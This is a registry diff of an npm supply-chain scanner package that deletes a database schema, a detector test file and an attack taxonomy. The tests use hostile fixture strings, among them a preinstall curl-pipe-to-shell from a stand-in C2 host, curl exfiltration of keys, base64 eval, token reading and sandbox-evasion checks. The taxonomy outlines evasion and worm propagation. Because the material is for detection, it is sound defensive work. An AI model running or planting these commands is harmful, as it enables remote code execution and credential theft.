@lateos/npm-scan 0.7.5 → 0.8.0
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/.dockerignore +20 -0
- package/README.md +342 -81
- package/backend/pdf.js +245 -0
- package/backend/policy.js +111 -0
- package/backend/report.js +45 -0
- package/cli/cli.js +58 -4
- package/lateos-npm-scan-0.8.0.tgz +0 -0
- package/package.json +5 -3
- package/.github/workflows/ci.yml +0 -1
- package/.github/workflows/scan.yml +0 -1
- package/AGENTS.md +0 -1
- package/CONTRIBUTING.md +0 -1
- package/api/README.md +0 -80
- package/api/__init__.py +0 -0
- package/api/api_keys.py +0 -55
- package/api/deps.py +0 -164
- package/api/main.py +0 -44
- package/api/requirements.txt +0 -9
- package/api/routers/__init__.py +0 -0
- package/api/routers/auth.py +0 -80
- package/api/routers/health.py +0 -10
- package/api/routers/scans.py +0 -66
- package/api/routers/sso.py +0 -385
- package/api/routers/webhooks.py +0 -78
- package/api/saml-config.yaml +0 -58
- package/api/saml.py +0 -184
- package/backend/db/pg-schema.sql +0 -155
- package/backend/detectors.test.js +0 -88
- package/docker/Dockerfile.cli +0 -1
- package/docker/docker-compose.yml +0 -1
- package/docs/attack-taxonomy.md +0 -53
- package/docs/project-plan.md +0 -372
- package/docs/sandbox-threat-model.md +0 -91
- package/tests/corpus/run.js +0 -93
package/backend/db/pg-schema.sql
DELETED
|
@@ -1,155 +0,0 @@
|
|
|
1
|
-
-- PostgreSQL schema for hosted/team tier (premium)
|
|
2
|
-
-- Extends the SQLite schema with teams, users, RBAC, audit logs, webhooks
|
|
3
|
-
|
|
4
|
-
-- Extensions
|
|
5
|
-
CREATE EXTENSION IF NOT EXISTS "uuid-ossp";
|
|
6
|
-
CREATE EXTENSION IF NOT EXISTS "pgcrypto";
|
|
7
|
-
|
|
8
|
-
-- Teams / Organizations
|
|
9
|
-
CREATE TABLE IF NOT EXISTS teams (
|
|
10
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
11
|
-
name TEXT NOT NULL,
|
|
12
|
-
slug TEXT UNIQUE NOT NULL,
|
|
13
|
-
license_edition TEXT NOT NULL DEFAULT 'community',
|
|
14
|
-
license_key TEXT,
|
|
15
|
-
license_expires_at TIMESTAMPTZ,
|
|
16
|
-
max_seats INTEGER NOT NULL DEFAULT 5,
|
|
17
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW(),
|
|
18
|
-
updated_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
19
|
-
);
|
|
20
|
-
|
|
21
|
-
-- Users
|
|
22
|
-
CREATE TABLE IF NOT EXISTS users (
|
|
23
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
24
|
-
email TEXT UNIQUE NOT NULL,
|
|
25
|
-
name TEXT NOT NULL,
|
|
26
|
-
password_hash TEXT NOT NULL,
|
|
27
|
-
team_id UUID REFERENCES teams(id) ON DELETE CASCADE,
|
|
28
|
-
role TEXT NOT NULL CHECK (role IN ('admin', 'editor', 'viewer')) DEFAULT 'viewer',
|
|
29
|
-
last_login_at TIMESTAMPTZ,
|
|
30
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
31
|
-
);
|
|
32
|
-
|
|
33
|
-
-- Scans (extends SQLite scans with team ownership)
|
|
34
|
-
CREATE TABLE IF NOT EXISTS scans (
|
|
35
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
36
|
-
team_id UUID REFERENCES teams(id) ON DELETE CASCADE,
|
|
37
|
-
user_id UUID REFERENCES users(id) ON DELETE SET NULL,
|
|
38
|
-
package_name TEXT NOT NULL,
|
|
39
|
-
version TEXT,
|
|
40
|
-
status TEXT NOT NULL DEFAULT 'pending'
|
|
41
|
-
CHECK (status IN ('pending', 'fetching', 'analyzing', 'completed', 'failed')),
|
|
42
|
-
sbom_json JSONB,
|
|
43
|
-
findings_summary JSONB,
|
|
44
|
-
duration_ms INTEGER,
|
|
45
|
-
scanned_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
46
|
-
);
|
|
47
|
-
|
|
48
|
-
-- Findings
|
|
49
|
-
CREATE TABLE IF NOT EXISTS findings (
|
|
50
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
51
|
-
scan_id UUID NOT NULL REFERENCES scans(id) ON DELETE CASCADE,
|
|
52
|
-
atk_id TEXT NOT NULL,
|
|
53
|
-
severity TEXT NOT NULL CHECK (severity IN ('info', 'low', 'medium', 'high', 'critical')),
|
|
54
|
-
title TEXT,
|
|
55
|
-
description TEXT,
|
|
56
|
-
evidence TEXT,
|
|
57
|
-
mitigation TEXT,
|
|
58
|
-
file_path TEXT,
|
|
59
|
-
line_number INTEGER
|
|
60
|
-
);
|
|
61
|
-
|
|
62
|
-
-- Indexes
|
|
63
|
-
CREATE INDEX IF NOT EXISTS idx_scans_team ON scans(team_id);
|
|
64
|
-
CREATE INDEX IF NOT EXISTS idx_scans_package ON scans(package_name);
|
|
65
|
-
CREATE INDEX IF NOT EXISTS idx_scans_status ON scans(status);
|
|
66
|
-
CREATE INDEX IF NOT EXISTS idx_scans_created ON scans(scanned_at DESC);
|
|
67
|
-
CREATE INDEX IF NOT EXISTS idx_findings_scan ON findings(scan_id);
|
|
68
|
-
CREATE INDEX IF NOT EXISTS idx_findings_atk ON findings(atk_id);
|
|
69
|
-
CREATE INDEX IF NOT EXISTS idx_findings_severity ON findings(severity);
|
|
70
|
-
CREATE INDEX IF NOT EXISTS idx_users_team ON users(team_id);
|
|
71
|
-
|
|
72
|
-
-- Audit log
|
|
73
|
-
CREATE TABLE IF NOT EXISTS audit_log (
|
|
74
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
75
|
-
team_id UUID NOT NULL REFERENCES teams(id) ON DELETE CASCADE,
|
|
76
|
-
user_id UUID REFERENCES users(id) ON DELETE SET NULL,
|
|
77
|
-
action TEXT NOT NULL,
|
|
78
|
-
resource_type TEXT NOT NULL,
|
|
79
|
-
resource_id TEXT,
|
|
80
|
-
details JSONB,
|
|
81
|
-
ip_address INET,
|
|
82
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
83
|
-
);
|
|
84
|
-
|
|
85
|
-
CREATE INDEX IF NOT EXISTS idx_audit_team ON audit_log(team_id, created_at DESC);
|
|
86
|
-
|
|
87
|
-
-- Webhooks
|
|
88
|
-
CREATE TABLE IF NOT EXISTS webhooks (
|
|
89
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
90
|
-
team_id UUID NOT NULL REFERENCES teams(id) ON DELETE CASCADE,
|
|
91
|
-
url TEXT NOT NULL,
|
|
92
|
-
secret TEXT NOT NULL DEFAULT encode(gen_random_bytes(32), 'hex'),
|
|
93
|
-
events TEXT[] NOT NULL DEFAULT '{}',
|
|
94
|
-
active BOOLEAN NOT NULL DEFAULT true,
|
|
95
|
-
last_triggered_at TIMESTAMPTZ,
|
|
96
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
97
|
-
);
|
|
98
|
-
|
|
99
|
-
CREATE INDEX IF NOT EXISTS idx_webhooks_team ON webhooks(team_id);
|
|
100
|
-
|
|
101
|
-
-- API keys
|
|
102
|
-
CREATE TABLE IF NOT EXISTS api_keys (
|
|
103
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
104
|
-
team_id UUID NOT NULL REFERENCES teams(id) ON DELETE CASCADE,
|
|
105
|
-
user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
|
106
|
-
name TEXT NOT NULL,
|
|
107
|
-
key_hash TEXT NOT NULL,
|
|
108
|
-
scopes TEXT[] NOT NULL DEFAULT '{}',
|
|
109
|
-
last_used_at TIMESTAMPTZ,
|
|
110
|
-
expires_at TIMESTAMPTZ,
|
|
111
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
112
|
-
);
|
|
113
|
-
|
|
114
|
-
CREATE INDEX IF NOT EXISTS idx_api_keys_team ON api_keys(team_id);
|
|
115
|
-
|
|
116
|
-
-- Session tokens
|
|
117
|
-
CREATE TABLE IF NOT EXISTS sessions (
|
|
118
|
-
id UUID PRIMARY KEY DEFAULT uuid_generate_v4(),
|
|
119
|
-
user_id UUID NOT NULL REFERENCES users(id) ON DELETE CASCADE,
|
|
120
|
-
token_hash TEXT NOT NULL,
|
|
121
|
-
expires_at TIMESTAMPTZ NOT NULL,
|
|
122
|
-
created_at TIMESTAMPTZ NOT NULL DEFAULT NOW()
|
|
123
|
-
);
|
|
124
|
-
|
|
125
|
-
CREATE INDEX IF NOT EXISTS idx_sessions_user ON sessions(user_id);
|
|
126
|
-
CREATE INDEX IF NOT EXISTS idx_sessions_expires ON sessions(expires_at);
|
|
127
|
-
|
|
128
|
-
-- Materialized view: package risk aggregation
|
|
129
|
-
CREATE MATERIALIZED VIEW IF NOT EXISTS package_risk AS
|
|
130
|
-
SELECT
|
|
131
|
-
s.package_name,
|
|
132
|
-
s.version,
|
|
133
|
-
COUNT(DISTINCT f.id) AS finding_count,
|
|
134
|
-
COUNT(DISTINCT f.id) FILTER (WHERE f.severity IN ('high', 'critical')) AS high_crit_count,
|
|
135
|
-
ARRAY_AGG(DISTINCT f.atk_id) AS atk_ids,
|
|
136
|
-
MAX(s.scanned_at) AS last_scanned
|
|
137
|
-
FROM scans s
|
|
138
|
-
JOIN findings f ON f.scan_id = s.id
|
|
139
|
-
WHERE s.status = 'completed'
|
|
140
|
-
GROUP BY s.package_name, s.version;
|
|
141
|
-
|
|
142
|
-
CREATE UNIQUE INDEX IF NOT EXISTS idx_package_risk_pkg ON package_risk(package_name, version);
|
|
143
|
-
|
|
144
|
-
-- Function: touch updated_at
|
|
145
|
-
CREATE OR REPLACE FUNCTION touch_updated_at()
|
|
146
|
-
RETURNS TRIGGER AS $$
|
|
147
|
-
BEGIN
|
|
148
|
-
NEW.updated_at = NOW();
|
|
149
|
-
RETURN NEW;
|
|
150
|
-
END;
|
|
151
|
-
$$ LANGUAGE plpgsql;
|
|
152
|
-
|
|
153
|
-
CREATE TRIGGER trg_teams_updated_at
|
|
154
|
-
BEFORE UPDATE ON teams
|
|
155
|
-
FOR EACH ROW EXECUTE FUNCTION touch_updated_at();
|
|
@@ -1,88 +0,0 @@
|
|
|
1
|
-
import { test } from 'node:test';
|
|
2
|
-
import assert from 'assert/strict';
|
|
3
|
-
import * as detectors from './detectors/index.js';
|
|
4
|
-
|
|
5
|
-
test('detectors runAll empty', async () => {
|
|
6
|
-
const findings = await detectors.runAll({});
|
|
7
|
-
assert.equal(findings.length, 0);
|
|
8
|
-
});
|
|
9
|
-
|
|
10
|
-
test('ATK-001 detects preinstall', async () => {
|
|
11
|
-
const pkg = { scripts: { preinstall: 'curl http://c2.example.com/x.sh | sh' } };
|
|
12
|
-
const findings = await detectors.runAll(pkg);
|
|
13
|
-
assert(findings.some(f => f.id === 'ATK-001'), 'Expected ATK-001');
|
|
14
|
-
});
|
|
15
|
-
|
|
16
|
-
test('ATK-002 detects eval+decode', async () => {
|
|
17
|
-
const files = [{ path: 'i.js', content: 'eval(atob("Y3VybCBodHRwOi8vYzIuZXZpbC5jb20="))' }];
|
|
18
|
-
const findings = await detectors.runAll({}, files);
|
|
19
|
-
assert(findings.some(f => f.id === 'ATK-002'), 'Expected ATK-002');
|
|
20
|
-
});
|
|
21
|
-
|
|
22
|
-
test('ATK-003 detects cred env vars', async () => {
|
|
23
|
-
const files = [{ path: 'i.js', content: 'console.log(process.env.NPM_TOKEN)' }];
|
|
24
|
-
const findings = await detectors.runAll({}, files);
|
|
25
|
-
assert(findings.some(f => f.id === 'ATK-003'), 'Expected ATK-003');
|
|
26
|
-
});
|
|
27
|
-
|
|
28
|
-
test('ATK-004 detects editor persistence', async () => {
|
|
29
|
-
const files = [{ path: 'i.js', content: 'fs.mkdirSync(".vscode")' }];
|
|
30
|
-
const findings = await detectors.runAll({}, files);
|
|
31
|
-
assert(findings.some(f => f.id === 'ATK-004'), 'Expected ATK-004');
|
|
32
|
-
});
|
|
33
|
-
|
|
34
|
-
test('ATK-005 detects network exfil', async () => {
|
|
35
|
-
const files = [{ path: 'i.js', content: 'curl --data-binary @keys http://c2.evil.com' }];
|
|
36
|
-
const findings = await detectors.runAll({}, files);
|
|
37
|
-
assert(findings.some(f => f.id === 'ATK-005'), 'Expected ATK-005');
|
|
38
|
-
});
|
|
39
|
-
|
|
40
|
-
test('ATK-006 detects dep confusion', async () => {
|
|
41
|
-
const pkg = { dependencies: { 'acorn-squatter': '1.0.0' } };
|
|
42
|
-
const findings = await detectors.runAll(pkg);
|
|
43
|
-
assert(findings.some(f => f.id === 'ATK-006'), 'Expected ATK-006');
|
|
44
|
-
});
|
|
45
|
-
|
|
46
|
-
test('ATK-007 detects typosquatting', async () => {
|
|
47
|
-
const pkg = { dependencies: { 'lodash': 'latest', 'loddsh': '1.0.0' } };
|
|
48
|
-
const findings = await detectors.runAll(pkg);
|
|
49
|
-
assert(findings.some(f => f.id === 'ATK-007'), 'Expected ATK-007 for loddsh');
|
|
50
|
-
});
|
|
51
|
-
|
|
52
|
-
test('ATK-008 detects tarball tampering', async () => {
|
|
53
|
-
const pkg = { name: 'lodash', repository: { url: 'https://github.com/attacker/lodash-evil.git' } };
|
|
54
|
-
const findings = await detectors.runAll(pkg);
|
|
55
|
-
assert(findings.some(f => f.id === 'ATK-008'), 'Expected ATK-008');
|
|
56
|
-
});
|
|
57
|
-
|
|
58
|
-
test('ATK-009 detects CI env trigger', async () => {
|
|
59
|
-
const files = [{ path: 'i.js', content: 'if (process.env.CI) { eval(atob("ZXZpbA==")) }' }];
|
|
60
|
-
const findings = await detectors.runAll({}, files);
|
|
61
|
-
assert(findings.some(f => f.id === 'ATK-009'), 'Expected ATK-009');
|
|
62
|
-
});
|
|
63
|
-
|
|
64
|
-
test('ATK-010 detects sandbox evasion', async () => {
|
|
65
|
-
const files = [{ path: 'i.js', content: 'if (os.hostname().includes("sandbox")) { process.exit(0) }' }];
|
|
66
|
-
const findings = await detectors.runAll({}, files);
|
|
67
|
-
assert(findings.some(f => f.id === 'ATK-010'), 'Expected ATK-010');
|
|
68
|
-
});
|
|
69
|
-
|
|
70
|
-
test('ATK-011 detects transitive propagation', async () => {
|
|
71
|
-
const files = [{ path: 'i.js', content: 'exec("npm install ./malicious-pkg")' }];
|
|
72
|
-
const findings = await detectors.runAll({}, files);
|
|
73
|
-
assert(findings.some(f => f.id === 'ATK-011'), 'Expected ATK-011');
|
|
74
|
-
});
|
|
75
|
-
|
|
76
|
-
test('no false positives on clean package', async () => {
|
|
77
|
-
const pkg = { name: 'test-pkg', version: '1.0.0', scripts: { test: 'node test.js' }, dependencies: { 'express': '4.0.0' } };
|
|
78
|
-
const files = [{ path: 'index.js', content: 'module.exports = function() { return 42 }' }];
|
|
79
|
-
const findings = await detectors.runAll(pkg, files);
|
|
80
|
-
const highCrit = findings.filter(f => f.severity === 'high' || f.severity === 'critical');
|
|
81
|
-
assert.equal(highCrit.length, 0, `Expected no high/crit findings on clean pkg: ${JSON.stringify(highCrit)}`);
|
|
82
|
-
});
|
|
83
|
-
|
|
84
|
-
test('all 11 ATK IDs present', async () => {
|
|
85
|
-
const expected = ['ATK-001', 'ATK-002', 'ATK-003', 'ATK-004', 'ATK-005', 'ATK-006', 'ATK-007', 'ATK-008', 'ATK-009', 'ATK-010', 'ATK-011'];
|
|
86
|
-
const exports = Object.keys(detectors);
|
|
87
|
-
assert.equal(exports.includes('runAll'), true);
|
|
88
|
-
});
|
package/docker/Dockerfile.cli
DELETED
|
@@ -1 +0,0 @@
|
|
|
1
|
-
FROM node:20-alpine AS cli\n\nWORKDIR /app\nCOPY package.json .\nRUN npm ci --only=production\nCOPY . .\n\nENTRYPOINT [\"node\", \"cli/cli.js\"]\n\n# Multi-arch build: docker buildx build --platform linux/amd64,linux/arm64 -t ghcr.io/lateos/npm-scan:cli .
|
|
@@ -1 +0,0 @@
|
|
|
1
|
-
version: '3.8'\nservices:\n cli:\n build:\n context: ..\n dockerfile: docker/Dockerfile.cli\n image: ghcr.io/lateos/npm-scan:cli\n\n # Full pipeline stubs (Phase 1+)\n enumerator:\n image: ghcr.io/lateos/npm-scan:enumerator\n fetcher:\n image: ghcr.io/lateos/npm-scan:fetcher\n depends_on: [redis]\n analyzer-static:\n image: ghcr.io/lateos/npm-scan:analyzer\n # ...\n\n redis:\n image: redis:alpine\n\n# Usage: docker compose up cli
|
package/docs/attack-taxonomy.md
DELETED
|
@@ -1,53 +0,0 @@
|
|
|
1
|
-
# npm Attack Taxonomy (ATK)
|
|
2
|
-
|
|
3
|
-
Versioned anchor for detectors, PRs, reports. Each entry: attack class, detection surface, evasion surface, NIST 800-161 mapping.
|
|
4
|
-
|
|
5
|
-
## ATK Table
|
|
6
|
-
|
|
7
|
-
| ID | Class | Detection Surface | Evasion Surface | NIST 800-161 | Status |
|
|
8
|
-
|---------|--------------------------------------------|-------------------|--------------------------|------------------|--------|
|
|
9
|
-
| ATK-001 | Malicious lifecycle scripts (pre/postinstall) | Static | Obfuscation | SR-3.1 | Phase 1 |
|
|
10
|
-
| ATK-002 | Obfuscated payload (hex/base64/eval) | Static | Polyglots | SR-4.2 | Phase 1 |
|
|
11
|
-
| ATK-003 | Credential harvesting (.npmrc/SSH/env) | Static+Dynamic | Conditional triggers | SR-5.3 | Phase 1 |
|
|
12
|
-
| ATK-004 | Persistence (.vscode/.claude/.cursor) | Static | Hidden files | SR-6.4 | Phase 1 |
|
|
13
|
-
| ATK-005 | Network exfiltration (GitHub/DNS/HTTP C2) | Static+Dynamic | Encrypted payloads | SR-7.5 | Phase 1 |
|
|
14
|
-
| ATK-006 | Dependency confusion/namespace squatting | Static (lock) | Typosquatting | SR-2.2 | Phase 1 |
|
|
15
|
-
| ATK-007 | Typosquatting (edit-distance top-N) | Static | Homoglyphs | SR-2.1 | Phase 1 |
|
|
16
|
-
| ATK-008 | Tarball tampering (tarball ≠ repo) | Static (diff) | Mirror repos | SR-8.1 | Phase 2 |
|
|
17
|
-
| ATK-009 | Conditional triggers (CI/time) | Static+Dynamic | Env probes | SR-9.2 | Phase 2 |
|
|
18
|
-
| ATK-010 | Sandbox evasion | Static+Dynamic | Anti-analysis | SR-10.3 | Phase 2 |
|
|
19
|
-
| ATK-011 | Transitive propagation (worm) | Static+Dynamic | Peer deps | SR-11.4 | Phase 3 |
|
|
20
|
-
|
|
21
|
-
## Detailed Entries
|
|
22
|
-
|
|
23
|
-
### ATK-008 — Tarball Tampering
|
|
24
|
-
- **Description:** The published npm tarball contains code that does not match the source repository. This can happen when a maintainer's npm token is compromised or CI is abused.
|
|
25
|
-
- **Detection surface:** Static (diff). Compare `package.json` `repository` field against known good mappings. Check embedded `// Source:` comments against declared repo URL. Full automated diff against `git clone` requires sandbox tier.
|
|
26
|
-
- **Evasion surface:** Mirror repos, monorepo confusion, repository field omitted or generic (`github.com/user`).
|
|
27
|
-
- **NIST mapping:** SR-8.1 (Integrity Verification)
|
|
28
|
-
- **Example:** A package named `lodash` with `repository` pointing to `github.com/attacker/lodash-mirror`.
|
|
29
|
-
|
|
30
|
-
### ATK-009 — Conditional Triggers
|
|
31
|
-
- **Description:** The package behaves differently based on environment detection. May appear benign during scan but activates malicious behavior in production. Common triggers: CI env detection, date/time checks, hostname checks.
|
|
32
|
-
- **Detection surface:** Static+Dynamic. Static analysis looks for `process.env.CI`, `process.env.NODE_ENV`, date comparisons, `setTimeout`/`setInterval`. Dynamic sandbox runs with randomized env and observes behavior difference.
|
|
33
|
-
- **Evasion surface:** Obfuscated env probes, time-based triggers with external NTP, trigger after multi-hour delay.
|
|
34
|
-
- **NIST mapping:** SR-9.2 (Conditional Behavior Analysis)
|
|
35
|
-
- **Example:** `if (process.env.NODE_ENV === 'production') { eval(atob(payload)) }`
|
|
36
|
-
|
|
37
|
-
### ATK-010 — Sandbox Evasion / Anti-Analysis
|
|
38
|
-
- **Description:** The package actively probes its execution environment to detect analysis tools. If sandbox is detected, the package suppresses malicious behavior. Common probes: `debugger` statement, `os.hostname()`, `process.argv` inspection for `--inspect`, stack trace capture.
|
|
39
|
-
- **Detection surface:** Static+Dynamic. Static analysis checks for debugger statements, hostname checks, process tree inspection, `navigator`/`document` usage (browser env confusion). Dynamic sandbox uses randomized env and monitors syscalls for sandbox-detection patterns.
|
|
40
|
-
- **Evasion surface:** Indirect probing (measure timing without `performance.now()`), environment fingerprinting through error messages, incremental evasion.
|
|
41
|
-
- **NIST mapping:** SR-10.3 (Anti-Evasion Detection)
|
|
42
|
-
- **Example:** `if (os.hostname().includes('docker')) { process.exit(0) }`
|
|
43
|
-
|
|
44
|
-
### ATK-011 — Transitive Propagation (Worm)
|
|
45
|
-
- **Description:** The package acts as a self-propagating worm by spreading itself through the dependency tree. Instead of (or in addition to) executing a standalone payload, it modifies peer/sibling packages' code or `package.json` to inject its own lifecycle hooks or entry points. This propagates the attack when the infected sibling is required by other packages upstream. Also covers "worm-drop" patterns where the package installs itself into other packages' `node_modules` via programmatic `npm install`/`npm link`.
|
|
46
|
-
- **Detection surface:** Static+Dynamic. Static analysis checks for `child_process.exec`/`execSync` with `npm install`/`npm link` of local packages, `fs.writeFile` targeting sibling `node_modules` directories, `package.json` script injection in other packages, `fs.symlink` for binary propagation, and self-name references used to locate and copy own code into peer packages. Dynamic sandbox monitors filesystem writes outside the package's own directory tree.
|
|
47
|
-
- **Evasion surface:** Peer dep confusion (installing a popular peer package with the same name as a benign transitive dep), delayed propagation (worm activates only after N runs or N days), piggybacking on legitimate `postinstall` chains, writing to `node_modules/.cache` or `node_modules/.bin` where detection is less likely.
|
|
48
|
-
- **NIST mapping:** SR-11.4 (Supply Chain Propagation Monitoring)
|
|
49
|
-
- **Example:** A package reads `process.env.npm_package_name`, locates its own directory in `node_modules`, then writes a malicious `postinstall` script to the `package.json` of a sibling package, ensuring the worm runs when any project dependency is installed.
|
|
50
|
-
|
|
51
|
-
## Governance
|
|
52
|
-
|
|
53
|
-
New ATK requires PR with: PoC sample, detection rule, FP analysis, NIST map. Published at `docs/attack-taxonomy.md`. Referenced in all scan reports.
|